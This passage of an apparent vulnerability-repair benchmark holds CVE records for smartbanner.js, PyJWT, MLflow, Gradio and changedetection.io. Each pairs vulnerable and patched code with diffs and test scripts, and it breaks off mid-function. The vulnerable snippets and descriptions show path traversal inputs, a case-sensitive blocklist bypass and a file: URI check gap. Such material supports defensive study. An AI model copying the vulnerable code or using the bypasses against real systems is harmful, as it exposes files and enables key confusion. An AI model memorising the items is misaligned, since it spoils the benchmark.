"  get html() {\n    let modifier = !this.options.customDesignModifier ? this.platform : this.options.customDesignModifier;\n    return `<div class=\"smartbanner smartbanner--${modifier} js_smartbanner\">\n      <a href=\"javascript:void();\" class=\"smartbanner__exit js_smartbanner__exit\"></a>\n      <div class=\"smartbanner__icon\" style=\"background-image: url(${this.icon});\"></div>\n      <div class=\"smartbanner__info\">\n        <div>\n          <div class=\"smartbanner__info__title\">${this.options.title}</div>\n          <div class=\"smartbanner__info__author\">${this.options.author}</div>\n          <div class=\"smartbanner__info__price\">${this.options.price}${this.priceSuffix}</div>\n        </div>\n      </div>\n      <a href=\"${this.buttonUrl}\" target=\"_blank\" class=\"smartbanner__button\"><span class=\"smartbanner__button__label\">${this.options.button}</span></a>\n    </div>`;\n  }"}], "fix_func": [{"id": "fix_js_276_1", "commit": "fce8c31dfe04033d9d005a89694d3e7a60784f89", "file_path": "src/smartbanner.js", "start_line": 117, "end_line": 131, "snippet": "  get html() {\n    let modifier = !this.options.customDesignModifier ? this.platform : this.options.customDesignModifier;\n    return `<div class=\"smartbanner smartbanner--${modifier} js_smartbanner\">\n      <a href=\"javascript:void();\" class=\"smartbanner__exit js_smartbanner__exit\"></a>\n      <div class=\"smartbanner__icon\" style=\"background-image: url(${this.icon});\"></div>\n      <div class=\"smartbanner__info\">\n        <div>\n          <div class=\"smartbanner__info__title\">${this.options.title}</div>\n          <div class=\"smartbanner__info__author\">${this.options.author}</div>\n          <div class=\"smartbanner__info__price\">${this.options.price}${this.priceSuffix}</div>\n        </div>\n      </div>\n      <a href=\"${this.buttonUrl}\" target=\"_blank\" class=\"smartbanner__button\" rel=\"noopener\"><span class=\"smartbanner__button__label\">${this.options.button}</span></a>\n    </div>`;\n  }"}], "vul_patch": "--- a/src/smartbanner.js\n+++ b/src/smartbanner.js\n@@ -10,6 +10,6 @@\n           <div class=\"smartbanner__info__price\">${this.options.price}${this.priceSuffix}</div>\n         </div>\n       </div>\n-      <a href=\"${this.buttonUrl}\" target=\"_blank\" class=\"smartbanner__button\"><span class=\"smartbanner__button__label\">${this.options.button}</span></a>\n+      <a href=\"${this.buttonUrl}\" target=\"_blank\" class=\"smartbanner__button\" rel=\"noopener\"><span class=\"smartbanner__button__label\">${this.options.button}</span></a>\n     </div>`;\n   }\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-29217", "cve_description": "PyJWT is a Python implementation of RFC 7519. PyJWT supports multiple different JWT signing algorithms. With JWT, an attacker submitting the JWT token can choose the used signing algorithm. The PyJWT library requires that the application chooses what algorithms are supported. The application can specify `jwt.algorithms.get_default_algorithms()` to get support for all algorithms, or specify a single algorithm. The issue is not that big as `algorithms=jwt.algorithms.get_default_algorithms()` has to be used. Users should upgrade to v2.4.0 to receive a patch for this issue. As a workaround, always be explicit with the algorithms that are accepted and expected when decoding.", "cwe_info": {"CWE-327": {"name": "Use of a Broken or Risky Cryptographic Algorithm", "description": "The product uses a broken or risky cryptographic algorithm or protocol."}}, "repo": "https://github.com/jpadilla/pyjwt", "patch_url": ["https://github.com/jpadilla/pyjwt/commit/9c528670c455b8d948aff95ed50e22940d1ad3fc"], "programing_language": "Python", "vul_func": [{"id": "vul_py_71_1", "commit": "24b29ad", "file_path": "jwt/algorithms.py", "start_line": 183, "end_line": 199, "snippet": "    def prepare_key(self, key):\n        key = force_bytes(key)\n\n        invalid_strings = [\n            b\"-----BEGIN PUBLIC KEY-----\",\n            b\"-----BEGIN CERTIFICATE-----\",\n            b\"-----BEGIN RSA PUBLIC KEY-----\",\n            b\"ssh-rsa\",\n        ]\n\n        if any(string_value in key for string_value in invalid_strings):\n            raise InvalidKeyError(\n                \"The specified key is an asymmetric key or x509 certificate and\"\n                \" should not be used as an HMAC secret.\"\n            )\n\n        return key"}, {"id": "vul_py_71_2", "commit": "24b29ad", "file_path": "jwt/algorithms.py", "start_line": 553, "end_line": 573, "snippet": "        def prepare_key(self, key):\n\n            if isinstance(\n                key,\n                (Ed25519PrivateKey, Ed25519PublicKey, Ed448PrivateKey, Ed448PublicKey),\n            ):\n                return key\n\n            if isinstance(key, (bytes, str)):\n                if isinstance(key, str):\n                    key = key.encode(\"utf-8\")\n                str_key = key.decode(\"utf-8\")\n\n                if \"-----BEGIN PUBLIC\" in str_key:\n                    return load_pem_public_key(key)\n                if \"-----BEGIN PRIVATE\" in str_key:\n                    return load_pem_private_key(key, password=None)\n                if str_key[0:4] == \"ssh-\":\n                    return load_ssh_public_key(key)\n\n            raise TypeError(\"Expecting a PEM-formatted or OpenSSH key.\")"}], "fix_func": [{"id": "fix_py_71_1", "commit": "9c528670c455b8d948aff95ed50e22940d1ad3fc", "file_path": "jwt/algorithms.py", "start_line": 185, "end_line": 194, "snippet": "    def prepare_key(self, key):\n        key = force_bytes(key)\n\n        if is_pem_format(key) or is_ssh_key(key):\n            raise InvalidKeyError(\n                \"The specified key is an asymmetric key or x509 certificate and\"\n                \" should not be used as an HMAC secret.\"\n            )\n\n        return key"}, {"id": "fix_py_71_2", "commit": "9c528670c455b8d948aff95ed50e22940d1ad3fc", "file_path": "jwt/algorithms.py", "start_line": 548, "end_line": 570, "snippet": "        def prepare_key(self, key):\n            if isinstance(key, (bytes, str)):\n                if isinstance(key, str):\n                    key = key.encode(\"utf-8\")\n                str_key = key.decode(\"utf-8\")\n\n                if \"-----BEGIN PUBLIC\" in str_key:\n                    key = load_pem_public_key(key)\n                elif \"-----BEGIN PRIVATE\" in str_key:\n                    key = load_pem_private_key(key, password=None)\n                elif str_key[0:4] == \"ssh-\":\n                    key = load_ssh_public_key(key)\n\n            # Explicit check the key to prevent confusing errors from cryptography\n            if not isinstance(\n                key,\n                (Ed25519PrivateKey, Ed25519PublicKey, Ed448PrivateKey, Ed448PublicKey),\n            ):\n                raise InvalidKeyError(\n                    \"Expecting a EllipticCurvePrivateKey/EllipticCurvePublicKey. Wrong key provided for EdDSA algorithms\"\n                )\n\n            return key"}, {"id": "fix_py_71_3", "commit": "9c528670c455b8d948aff95ed50e22940d1ad3fc", "file_path": "jwt/utils.py", "start_line": 101, "end_line": 130, "snippet": "\n\n# Based on https://github.com/hynek/pem/blob/7ad94db26b0bc21d10953f5dbad3acfdfacf57aa/src/pem/_core.py#L224-L252\n_PEMS = {\n    b\"CERTIFICATE\",\n    b\"TRUSTED CERTIFICATE\",\n    b\"PRIVATE KEY\",\n    b\"PUBLIC KEY\",\n    b\"ENCRYPTED PRIVATE KEY\",\n    b\"OPENSSH PRIVATE KEY\",\n    b\"DSA PRIVATE KEY\",\n    b\"RSA PRIVATE KEY\",\n    b\"RSA PUBLIC KEY\",\n    b\"EC PRIVATE KEY\",\n    b\"DH PARAMETERS\",\n    b\"NEW CERTIFICATE REQUEST\",\n    b\"CERTIFICATE REQUEST\",\n    b\"SSH2 PUBLIC KEY\",\n    b\"SSH2 ENCRYPTED PRIVATE KEY\",\n    b\"X509 CRL\",\n}\n\n_PEM_RE = re.compile(\n    b\"----[- ]BEGIN (\"\n    + b\"|\".join(_PEMS)\n    + b\"\"\")[- ]----\\r?\n.+?\\r?\n----[- ]END \\\\1[- ]----\\r?\\n?\"\"\",\n    re.DOTALL,\n)"}, {"id": "fix_py_71_4", "commit": "9c528670c455b8d948aff95ed50e22940d1ad3fc", "file_path": "jwt/utils.py", "start_line": 133, "end_line": 147, "snippet": "def is_pem_format(key: bytes) -> bool:\n    return bool(_PEM_RE.search(key))\n\n\n# Based on https://github.com/pyca/cryptography/blob/bcb70852d577b3f490f015378c75cba74986297b/src/cryptography/hazmat/primitives/serialization/ssh.py#L40-L46\n_CERT_SUFFIX = b\"-cert-v01@openssh.com\"\n_SSH_PUBKEY_RC = re.compile(br\"\\A(\\S+)[ \\t]+(\\S+)\")\n_SSH_KEY_FORMATS = [\n    b\"ssh-ed25519\",\n    b\"ssh-rsa\",\n    b\"ssh-dss\",\n    b\"ecdsa-sha2-nistp256\",\n    b\"ecdsa-sha2-nistp384\",\n    b\"ecdsa-sha2-nistp521\",\n]"}, {"id": "fix_py_71_5", "commit": "9c528670c455b8d948aff95ed50e22940d1ad3fc", "file_path": "jwt/utils.py", "start_line": 150, "end_line": 160, "snippet": "def is_ssh_key(key: bytes) -> bool:\n    if any(string_value in key for string_value in _SSH_KEY_FORMATS):\n        return True\n\n    ssh_pubkey_match = _SSH_PUBKEY_RC.match(key)\n    if ssh_pubkey_match:\n        key_type = ssh_pubkey_match.group(1)\n        if _CERT_SUFFIX == key_type[-len(_CERT_SUFFIX) :]:\n            return True\n\n    return False"}], "vul_patch": "--- a/jwt/algorithms.py\n+++ b/jwt/algorithms.py\n@@ -1,14 +1,7 @@\n     def prepare_key(self, key):\n         key = force_bytes(key)\n \n-        invalid_strings = [\n-            b\"-----BEGIN PUBLIC KEY-----\",\n-            b\"-----BEGIN CERTIFICATE-----\",\n-            b\"-----BEGIN RSA PUBLIC KEY-----\",\n-            b\"ssh-rsa\",\n-        ]\n-\n-        if any(string_value in key for string_value in invalid_strings):\n+        if is_pem_format(key) or is_ssh_key(key):\n             raise InvalidKeyError(\n                 \"The specified key is an asymmetric key or x509 certificate and\"\n                 \" should not be used as an HMAC secret.\"\n\n--- a/jwt/algorithms.py\n+++ b/jwt/algorithms.py\n@@ -1,21 +1,23 @@\n         def prepare_key(self, key):\n-\n-            if isinstance(\n-                key,\n-                (Ed25519PrivateKey, Ed25519PublicKey, Ed448PrivateKey, Ed448PublicKey),\n-            ):\n-                return key\n-\n             if isinstance(key, (bytes, str)):\n                 if isinstance(key, str):\n                     key = key.encode(\"utf-8\")\n                 str_key = key.decode(\"utf-8\")\n \n                 if \"-----BEGIN PUBLIC\" in str_key:\n-                    return load_pem_public_key(key)\n-                if \"-----BEGIN PRIVATE\" in str_key:\n-                    return load_pem_private_key(key, password=None)\n-                if str_key[0:4] == \"ssh-\":\n-                    return load_ssh_public_key(key)\n+                    key = load_pem_public_key(key)\n+                elif \"-----BEGIN PRIVATE\" in str_key:\n+                    key = load_pem_private_key(key, password=None)\n+                elif str_key[0:4] == \"ssh-\":\n+                    key = load_ssh_public_key(key)\n \n-            raise TypeError(\"Expecting a PEM-formatted or OpenSSH key.\")\n+            # Explicit check the key to prevent confusing errors from cryptography\n+            if not isinstance(\n+                key,\n+                (Ed25519PrivateKey, Ed25519PublicKey, Ed448PrivateKey, Ed448PublicKey),\n+            ):\n+                raise InvalidKeyError(\n+                    \"Expecting a EllipticCurvePrivateKey/EllipticCurvePublicKey. Wrong key provided for EdDSA algorithms\"\n+                )\n+\n+            return key\n\n--- /dev/null\n+++ b/jwt/algorithms.py\n@@ -0,0 +1,30 @@\n+\n+\n+# Based on https://github.com/hynek/pem/blob/7ad94db26b0bc21d10953f5dbad3acfdfacf57aa/src/pem/_core.py#L224-L252\n+_PEMS = {\n+    b\"CERTIFICATE\",\n+    b\"TRUSTED CERTIFICATE\",\n+    b\"PRIVATE KEY\",\n+    b\"PUBLIC KEY\",\n+    b\"ENCRYPTED PRIVATE KEY\",\n+    b\"OPENSSH PRIVATE KEY\",\n+    b\"DSA PRIVATE KEY\",\n+    b\"RSA PRIVATE KEY\",\n+    b\"RSA PUBLIC KEY\",\n+    b\"EC PRIVATE KEY\",\n+    b\"DH PARAMETERS\",\n+    b\"NEW CERTIFICATE REQUEST\",\n+    b\"CERTIFICATE REQUEST\",\n+    b\"SSH2 PUBLIC KEY\",\n+    b\"SSH2 ENCRYPTED PRIVATE KEY\",\n+    b\"X509 CRL\",\n+}\n+\n+_PEM_RE = re.compile(\n+    b\"----[- ]BEGIN (\"\n+    + b\"|\".join(_PEMS)\n+    + b\"\"\")[- ]----\\r?\n+.+?\\r?\n+----[- ]END \\\\1[- ]----\\r?\\n?\"\"\",\n+    re.DOTALL,\n+)\n\n--- /dev/null\n+++ b/jwt/algorithms.py\n@@ -0,0 +1,15 @@\n+def is_pem_format(key: bytes) -> bool:\n+    return bool(_PEM_RE.search(key))\n+\n+\n+# Based on https://github.com/pyca/cryptography/blob/bcb70852d577b3f490f015378c75cba74986297b/src/cryptography/hazmat/primitives/serialization/ssh.py#L40-L46\n+_CERT_SUFFIX = b\"-cert-v01@openssh.com\"\n+_SSH_PUBKEY_RC = re.compile(br\"\\A(\\S+)[ \\t]+(\\S+)\")\n+_SSH_KEY_FORMATS = [\n+    b\"ssh-ed25519\",\n+    b\"ssh-rsa\",\n+    b\"ssh-dss\",\n+    b\"ecdsa-sha2-nistp256\",\n+    b\"ecdsa-sha2-nistp384\",\n+    b\"ecdsa-sha2-nistp521\",\n+]\n\n--- /dev/null\n+++ b/jwt/algorithms.py\n@@ -0,0 +1,11 @@\n+def is_ssh_key(key: bytes) -> bool:\n+    if any(string_value in key for string_value in _SSH_KEY_FORMATS):\n+        return True\n+\n+    ssh_pubkey_match = _SSH_PUBKEY_RC.match(key)\n+    if ssh_pubkey_match:\n+        key_type = ssh_pubkey_match.group(1)\n+        if _CERT_SUFFIX == key_type[-len(_CERT_SUFFIX) :]:\n+            return True\n+\n+    return False\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2022-29217:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/pyjwt\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\n/workspace/PoC_env/CVE-2022-29217/bin/python -m pytest tests/test_advisory.py tests/test_algorithms.py::TestOKPAlgorithms::test_okp_ed25519_should_reject_non_string_key -v\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2022-29217:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/pyjwt\ngit apply --whitespace=nowarn /workspace/test.patch\n/workspace/PoC_env/CVE-2022-29217/bin/python -m pytest tests/test_algorithms.py -v -k \"not test_okp_ed25519_should_reject_non_string_key\" -p no:warning --disable-warnings\n"}
{"cve_id": "CVE-2024-0520", "cve_description": "A vulnerability in mlflow/mlflow version 8.2.1 allows for remote code execution due to improper neutralization of special elements used in an OS command ('Command Injection') within the `mlflow.data.http_dataset_source.py` module. Specifically, when loading a dataset from a source URL with an HTTP scheme, the filename extracted from the `Content-Disposition` header or the URL path is used to generate the final file path without proper sanitization. This flaw enables an attacker to control the file path fully by utilizing path traversal or absolute path techniques, such as '../../tmp/poc.txt' or '/tmp/poc.txt', leading to arbitrary file write. Exploiting this vulnerability could allow a malicious user to execute commands on the vulnerable machine, potentially gaining access to data and model information. The issue is fixed in version 2.9.0.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/mlflow/mlflow", "patch_url": ["https://github.com/mlflow/mlflow/commit/400c226953b4568f4361bc0a0c223511652c2b9d"], "programing_language": "Python", "vul_func": [{"id": "vul_py_393_1", "commit": "d10f342899f2677a57e92e6380ea2ba883c3adf3", "file_path": "mlflow/data/http_dataset_source.py", "start_line": 36, "end_line": 74, "snippet": "    def load(self, dst_path=None) -> str:\n        \"\"\"\n        Downloads the dataset source to the local filesystem.\n\n        :param dst_path: Path of the local filesystem destination directory to which to download the\n                         dataset source. If the directory does not exist, it is created. If\n                         unspecified, the dataset source is downloaded to a new uniquely-named\n                         directory on the local filesystem.\n        :return: The path to the downloaded dataset source on the local filesystem.\n        \"\"\"\n        resp = cloud_storage_http_request(\n            method=\"GET\",\n            url=self.url,\n            stream=True,\n        )\n        augmented_raise_for_status(resp)\n\n        path = urlparse(self.url).path\n        content_disposition = resp.headers.get(\"Content-Disposition\")\n        if content_disposition is not None and (\n            file_name := next(re.finditer(r\"filename=(.+)\", content_disposition), None)\n        ):\n            # NB: If the filename is quoted, unquote it\n            basename = file_name[1].strip(\"'\\\"\")\n        elif path is not None and len(posixpath.basename(path)) > 0:\n            basename = posixpath.basename(path)\n        else:\n            basename = \"dataset_source\"\n\n        if dst_path is None:\n            dst_path = create_tmp_dir()\n\n        dst_path = os.path.join(dst_path, basename)\n        with open(dst_path, \"wb\") as f:\n            chunk_size = 1024 * 1024  # 1 MB\n            for chunk in resp.iter_content(chunk_size=chunk_size):\n                f.write(chunk)\n\n        return dst_path"}], "fix_func": [{"id": "fix_py_393_1", "commit": "400c226953b4568f4361bc0a0c223511652c2b9d", "file_path": "mlflow/data/http_dataset_source.py", "start_line": 44, "end_line": 87, "snippet": "    def load(self, dst_path=None) -> str:\n        \"\"\"\n        Downloads the dataset source to the local filesystem.\n\n        :param dst_path: Path of the local filesystem destination directory to which to download the\n                         dataset source. If the directory does not exist, it is created. If\n                         unspecified, the dataset source is downloaded to a new uniquely-named\n                         directory on the local filesystem.\n        :return: The path to the downloaded dataset source on the local filesystem.\n        \"\"\"\n        resp = cloud_storage_http_request(\n            method=\"GET\",\n            url=self.url,\n            stream=True,\n        )\n        augmented_raise_for_status(resp)\n\n        path = urlparse(self.url).path\n        content_disposition = resp.headers.get(\"Content-Disposition\")\n        if content_disposition is not None and (\n            file_name := next(re.finditer(r\"filename=(.+)\", content_disposition), None)\n        ):\n            # NB: If the filename is quoted, unquote it\n            basename = file_name[1].strip(\"'\\\"\")\n            if _is_path(basename):\n                raise MlflowException.invalid_parameter_value(\n                    f\"Invalid filename in Content-Disposition header: {basename}. \"\n                    \"It must be a file name, not a path.\"\n                )\n        elif path is not None and len(posixpath.basename(path)) > 0:\n            basename = posixpath.basename(path)\n        else:\n            basename = \"dataset_source\"\n\n        if dst_path is None:\n            dst_path = create_tmp_dir()\n\n        dst_path = os.path.join(dst_path, basename)\n        with open(dst_path, \"wb\") as f:\n            chunk_size = 1024 * 1024  # 1 MB\n            for chunk in resp.iter_content(chunk_size=chunk_size):\n                f.write(chunk)\n\n        return dst_path"}, {"id": "fix_py_393_2", "commit": "400c226953b4568f4361bc0a0c223511652c2b9d", "file_path": "mlflow/data/http_dataset_source.py", "start_line": 14, "end_line": 19, "snippet": "def _is_path(filename: str) -> bool:\n    \"\"\"\n    Return True if `filename` is a path, False otherwise. For example,\n    \"foo/bar\" is a path, but \"bar\" is not.\n    \"\"\"\n    return os.path.basename(filename) != filename"}], "vul_patch": "--- a/mlflow/data/http_dataset_source.py\n+++ b/mlflow/data/http_dataset_source.py\n@@ -22,6 +22,11 @@\n         ):\n             # NB: If the filename is quoted, unquote it\n             basename = file_name[1].strip(\"'\\\"\")\n+            if _is_path(basename):\n+                raise MlflowException.invalid_parameter_value(\n+                    f\"Invalid filename in Content-Disposition header: {basename}. \"\n+                    \"It must be a file name, not a path.\"\n+                )\n         elif path is not None and len(posixpath.basename(path)) > 0:\n             basename = posixpath.basename(path)\n         else:\n\n--- /dev/null\n+++ b/mlflow/data/http_dataset_source.py\n@@ -0,0 +1,6 @@\n+def _is_path(filename: str) -> bool:\n+    \"\"\"\n+    Return True if `filename` is a path, False otherwise. For example,\n+    \"foo/bar\" is a path, but \"bar\" is not.\n+    \"\"\"\n+    return os.path.basename(filename) != filename\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2025-23042", "cve_description": "Gradio is an open-source Python package that allows quick building of demos and web application for machine learning models, API, or any arbitrary Python function. Gradio's Access Control List (ACL) for file paths can be bypassed by altering the letter case of a blocked file or directory path. This vulnerability arises due to the lack of case normalization in the file path validation logic. On case-insensitive file systems, such as those used by Windows and macOS, this flaw enables attackers to circumvent security restrictions and access sensitive files that should be protected. This issue can lead to unauthorized data access, exposing sensitive information and undermining the integrity of Gradio's security model. Given Gradio's popularity for building web applications, particularly in machine learning and AI, this vulnerability may pose a substantial threat if exploited in production environments. This issue has been addressed in release version 5.6.0. Users are advised to upgrade. There are no known workarounds for this vulnerability.", "cwe_info": {"CWE-285": {"name": "Improper Authorization", "description": "The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action."}, "CWE-250": {"name": "Execution with Unnecessary Privileges", "description": "The product performs an operation at a privilege level that is higher than the minimum level required, which creates new weaknesses or amplifies the consequences of other weaknesses."}, "CWE-269": {"name": "Improper Privilege Management", "description": "The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor."}}, "repo": "https://github.com/gradio-app/gradio", "patch_url": ["https://github.com/gradio-app/gradio/commit/6b63fdec441b5c9bf910f910a2505d8defbb6bf8"], "programing_language": "Python", "vul_func": [{"id": "vul_py_24_1", "commit": "345851d", "file_path": "gradio/utils.py", "start_line": 1507, "end_line": 1524, "snippet": "def is_allowed_file(\n    path: Path,\n    blocked_paths: Sequence[str | Path],\n    allowed_paths: Sequence[str | Path],\n    created_paths: Sequence[str | Path],\n) -> tuple[\n    bool, Literal[\"in_blocklist\", \"allowed\", \"created\", \"not_created_or_allowed\"]\n]:\n    in_blocklist = any(\n        is_in_or_equal(path, blocked_path) for blocked_path in blocked_paths\n    )\n    if in_blocklist:\n        return False, \"in_blocklist\"\n    if any(is_in_or_equal(path, allowed_path) for allowed_path in allowed_paths):\n        return True, \"allowed\"\n    if any(is_in_or_equal(path, created_path) for created_path in created_paths):\n        return True, \"created\"\n    return False, \"not_created_or_allowed\""}], "fix_func": [{"id": "fix_py_24_1", "commit": "6b63fde", "file_path": "gradio/utils.py", "start_line": 1507, "end_line": 1520, "snippet": "def is_allowed_file(\n    path: Path,\n    blocked_paths: Sequence[str | Path],\n    allowed_paths: Sequence[str | Path],\n    created_paths: Sequence[str | Path],\n) -> tuple[\n    bool, Literal[\"in_blocklist\", \"allowed\", \"created\", \"not_created_or_allowed\"]\n]:\n    in_blocklist = any(\n        is_in_or_equal(str(path).lower(), str(blocked_path).lower())\n        for blocked_path in blocked_paths\n    )\n    if in_blocklist:\n        return False, \"in_blocklist\""}], "vul_patch": "--- a/gradio/utils.py\n+++ b/gradio/utils.py\n@@ -7,12 +7,8 @@\n     bool, Literal[\"in_blocklist\", \"allowed\", \"created\", \"not_created_or_allowed\"]\n ]:\n     in_blocklist = any(\n-        is_in_or_equal(path, blocked_path) for blocked_path in blocked_paths\n+        is_in_or_equal(str(path).lower(), str(blocked_path).lower())\n+        for blocked_path in blocked_paths\n     )\n     if in_blocklist:\n         return False, \"in_blocklist\"\n-    if any(is_in_or_equal(path, allowed_path) for allowed_path in allowed_paths):\n-        return True, \"allowed\"\n-    if any(is_in_or_equal(path, created_path) for created_path in created_paths):\n-        return True, \"created\"\n-    return False, \"not_created_or_allowed\"\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2025-23042:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/gradio\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\n/workspace/PoC_env/CVE-2025-23042/bin/python hand_test.py\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2025-23042:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/gradio\ngit apply --whitespace=nowarn /workspace/fix.patch\n/workspace/PoC_env/CVE-2025-23042/bin/python -m pytest -v test/test_routes.py -k \"test_starts_with_protocol or test_get_root_url_headers or test_get_root_url or test_show_api_false_when_is_wasm_true or test_compare_passwords_securely\"  --disable-warnings"}
{"cve_id": "CVE-2024-51998", "cve_description": "changedetection.io is a free open source web page change detection tool. The validation for the file URI scheme falls short, and results in an attacker being able to read any file on the system. This issue only affects instances with a webdriver enabled, and `ALLOW_FILE_URI` false or not defined. The check used for URL protocol, `is_safe_url`, allows `file:` as a URL scheme. It later checks if local files are permitted, but one of the preconditions for the check is that the URL starts with `file://`. The issue comes with the fact that the file URI scheme is not required to have double slashes. This issue has been addressed in version 0.47.06 and all users are advised to upgrade. There are no known workarounds for this vulnerability.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/dgtlmoon/changedetection.io", "patch_url": ["https://github.com/dgtlmoon/changedetection.io/commit/49bc982c697169c98b79698889fb9d26f6b3317f"], "programing_language": "Python", "vul_func": [{"id": "vul_py_271_1", "commit": "e0abf0b", "file_path": "changedetectionio/processors/__init__.py", "start_line": 30, "end_line": 162, "snippet": "    def call_browser(self, preferred_proxy_id=None):\n\n        from requests.structures import CaseInsensitiveDict\n\n        url = self.watch.link\n\n        # Protect against file:// access, check the real \"link\" without any meta \"source:\" etc prepended.\n        if re.search(r'^file://', url, re.IGNORECASE):\n            if not strtobool(os.getenv('ALLOW_FILE_URI', 'false')):\n                raise Exception(\n                    \"file:// type access is denied for security reasons.\"\n                )\n\n        # Requests, playwright, other browser via wss:// etc, fetch_extra_something\n        prefer_fetch_backend = self.watch.get('fetch_backend', 'system')\n\n        # Proxy ID \"key\"\n        preferred_proxy_id = preferred_proxy_id if preferred_proxy_id else self.datastore.get_preferred_proxy_for_watch(uuid=self.watch.get('uuid'))\n\n        # Pluggable content self.fetcher\n        if not prefer_fetch_backend or prefer_fetch_backend == 'system':\n            prefer_fetch_backend = self.datastore.data['settings']['application'].get('fetch_backend')\n\n        # In the case that the preferred fetcher was a browser config with custom connection URL..\n        # @todo - on save watch, if its extra_browser_ then it should be obvious it will use playwright (like if its requests now..)\n        custom_browser_connection_url = None\n        if prefer_fetch_backend.startswith('extra_browser_'):\n            (t, key) = prefer_fetch_backend.split('extra_browser_')\n            connection = list(\n                filter(lambda s: (s['browser_name'] == key), self.datastore.data['settings']['requests'].get('extra_browsers', [])))\n            if connection:\n                prefer_fetch_backend = 'html_webdriver'\n                custom_browser_connection_url = connection[0].get('browser_connection_url')\n\n        # PDF should be html_requests because playwright will serve it up (so far) in a embedded page\n        # @todo https://github.com/dgtlmoon/changedetection.io/issues/2019\n        # @todo needs test to or a fix\n        if self.watch.is_pdf:\n           prefer_fetch_backend = \"html_requests\"\n\n        # Grab the right kind of 'fetcher', (playwright, requests, etc)\n        from changedetectionio import content_fetchers\n        if hasattr(content_fetchers, prefer_fetch_backend):\n            # @todo TEMPORARY HACK - SWITCH BACK TO PLAYWRIGHT FOR BROWSERSTEPS\n            if prefer_fetch_backend == 'html_webdriver' and self.watch.has_browser_steps:\n                # This is never supported in selenium anyway\n                logger.warning(\"Using playwright fetcher override for possible puppeteer request in browsersteps, because puppetteer:browser steps is incomplete.\")\n                from changedetectionio.content_fetchers.playwright import fetcher as playwright_fetcher\n                fetcher_obj = playwright_fetcher\n            else:\n                fetcher_obj = getattr(content_fetchers, prefer_fetch_backend)\n        else:\n            # What it referenced doesnt exist, Just use a default\n            fetcher_obj = getattr(content_fetchers, \"html_requests\")\n\n        proxy_url = None\n        if preferred_proxy_id:\n            # Custom browser endpoints should NOT have a proxy added\n            if not prefer_fetch_backend.startswith('extra_browser_'):\n                proxy_url = self.datastore.proxy_list.get(preferred_proxy_id).get('url')\n                logger.debug(f\"Selected proxy key '{preferred_proxy_id}' as proxy URL '{proxy_url}' for {url}\")\n            else:\n                logger.debug(f\"Skipping adding proxy data when custom Browser endpoint is specified. \")\n\n        # Now call the fetcher (playwright/requests/etc) with arguments that only a fetcher would need.\n        # When browser_connection_url is None, it method should default to working out whats the best defaults (os env vars etc)\n        self.fetcher = fetcher_obj(proxy_override=proxy_url,\n                                   custom_browser_connection_url=custom_browser_connection_url\n                                   )\n\n        if self.watch.has_browser_steps:\n            self.fetcher.browser_steps = self.watch.get('browser_steps', [])\n            self.fetcher.browser_steps_screenshot_path = os.path.join(self.datastore.datastore_path, self.watch.get('uuid'))\n\n        # Tweak the base config with the per-watch ones\n        from changedetectionio.safe_jinja import render as jinja_render\n        request_headers = CaseInsensitiveDict()\n\n        ua = self.datastore.data['settings']['requests'].get('default_ua')\n        if ua and ua.get(prefer_fetch_backend):\n            request_headers.update({'User-Agent': ua.get(prefer_fetch_backend)})\n\n        request_headers.update(self.watch.get('headers', {}))\n        request_headers.update(self.datastore.get_all_base_headers())\n        request_headers.update(self.datastore.get_all_headers_in_textfile_for_watch(uuid=self.watch.get('uuid')))\n\n        # https://github.com/psf/requests/issues/4525\n        # Requests doesnt yet support brotli encoding, so don't put 'br' here, be totally sure that the user cannot\n        # do this by accident.\n        if 'Accept-Encoding' in request_headers and \"br\" in request_headers['Accept-Encoding']:\n            request_headers['Accept-Encoding'] = request_headers['Accept-Encoding'].replace(', br', '')\n\n        for header_name in request_headers:\n            request_headers.update({header_name: jinja_render(template_str=request_headers.get(header_name))})\n\n        timeout = self.datastore.data['settings']['requests'].get('timeout')\n\n        request_body = self.watch.get('body')\n        if request_body:\n            request_body = jinja_render(template_str=self.watch.get('body'))\n        \n        request_method = self.watch.get('method')\n        ignore_status_codes = self.watch.get('ignore_status_codes', False)\n\n        # Configurable per-watch or global extra delay before extracting text (for webDriver types)\n        system_webdriver_delay = self.datastore.data['settings']['application'].get('webdriver_delay', None)\n        if self.watch.get('webdriver_delay'):\n            self.fetcher.render_extract_delay = self.watch.get('webdriver_delay')\n        elif system_webdriver_delay is not None:\n            self.fetcher.render_extract_delay = system_webdriver_delay\n\n        if self.watch.get('webdriver_js_execute_code') is not None and self.watch.get('webdriver_js_execute_code').strip():\n            self.fetcher.webdriver_js_execute_code = self.watch.get('webdriver_js_execute_code')\n\n        # Requests for PDF's, images etc should be passwd the is_binary flag\n        is_binary = self.watch.is_pdf\n\n        # And here we go! call the right browser with browser-specific settings\n        empty_pages_are_a_change = 